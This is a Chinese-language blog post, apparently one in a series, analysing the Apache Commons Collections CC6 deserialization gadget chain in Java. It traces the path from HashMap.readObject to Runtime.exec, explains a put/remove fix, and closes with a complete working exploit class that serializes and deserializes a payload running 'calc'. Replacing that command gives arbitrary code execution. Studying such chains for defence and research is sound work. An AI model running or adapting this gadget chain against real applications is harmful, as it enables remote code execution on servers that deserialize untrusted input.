简介
继续分析CC链了。上一篇文章分析了CC1链,这条链子限制特别多,jdk版本的限制,Commons Collections版本的限制,所以这条链子其实并不是很好用。那么这篇文章主要分析CC6链,这条链子通用,几乎没有一些所谓的版本限制,而且这条链子可以说是结合了CC1链和URLDNS链,学了这两条链子后再分析这条CC6链,就会发现很容易了。注:此篇文章在URLDNS和CC1链分析文章的基础上编写。
CC6链分析
这条链子的利用点还是没有变的,依旧是InvokerTransformer类的transform方法,
因为执行类Runtime类不能序列化,所以需要配合ChainedTransformer类与反射生成实例执行命令,直接照抄下来。
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
依旧是从后往前找,这里走到了ChainedTransformer类的transform方法。
这里我们找到LazyMap类的get方法,这里需要满足Map里不能存在指定的key才能进入到if里面。
这里的key可控,再看该类的构造方法。
用户可控,这里是protected修饰符,那么就找装饰器函数了。
老套路了。接着继续找哪个类的什么方法调用了get方法。在TiedMapEntry类的getValue方法中调用,
它又被本类的hashCode函数调用。
hashCode?很熟悉了,是URLDNS链的起始函数。那么我们肯定就能猜到入口类就是HashMap了,入口为HashMap的readObject函数,调用hash(key),而今调用任意类的hashCode函数。
让key赋值为TiedMapEntry类的实例,去调用它的hashCode方法,此时这一整条链就对接上了。所以这一条CC6链大致为
HashMap.readObject->TiedMapEntry.hashCode->LazyMap.get->ChainedTransformer.transform->Runtime.exec()
|
问题解决
在我们向HashMap实例put键值对的时候,此时就已经调用了hashCode函数,跟进put方法,
也会调用hash,进而调用hashCode。所以此时我们需要修改链子上的某个值来切断这条链子。put完后,利用反射再把值修改过来。这也是URLDNS链的老问题了。那么决定修改LazyMap里的值,具体代码实现:
Class c = LazyMap.class; Field fieldfactory = c.getDeclaredField("factory"); fieldfactory.setAccessible(true); fieldfactory.set(lazymap,chainedTransformer);
|
但是此时反序列化并没有弹出计算器。在TiedMapEntry类的hashCode函数下个断点调试一下。
此时key有值,为aaa,继续跟进,调用get方法。
满足不了这个if判断,链子就从这断了。那么具体是什么原因呢?还是put的原因,在put执行的时候,也是走了一半的链子,当它走到LazyMap的get方法时
此时map里面是没有key的,进入到if判断里面后,会把我们传进来的key给put进去,此时map里面就有key了。在反序列化的时候,这里存在key,满足不了if判断就走不下去了。所以在map执行put函数后把我们传进来的key给删掉就好了。到此问题全部解决。完整CC6链EXP:
package cc6.demo;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CC6test { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<Object,Object>(); Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
HashMap<Object,Object> map2 = new HashMap<>();
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
map2.put(tiedMapEntry,"bbb"); map.remove("aaa");
Class c = LazyMap.class; Field fieldfactory = c.getDeclaredField("factory"); fieldfactory.setAccessible(true); fieldfactory.set(lazymap,chainedTransformer); serialize(map2); unserialize("web.bin"); } public static void serialize(Object object) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("web.bin"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(object); System.out.println("1.序列化成功"); }
public static void unserialize(String filename) throws IOException, ClassNotFoundException { FileInputStream fileInputStream = new FileInputStream(filename); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); objectInputStream.readObject(); System.out.println("2.反序列化成功"); } }
|
日常弹计算器,嘿嘿。
结语
反序列化之路任重而道远。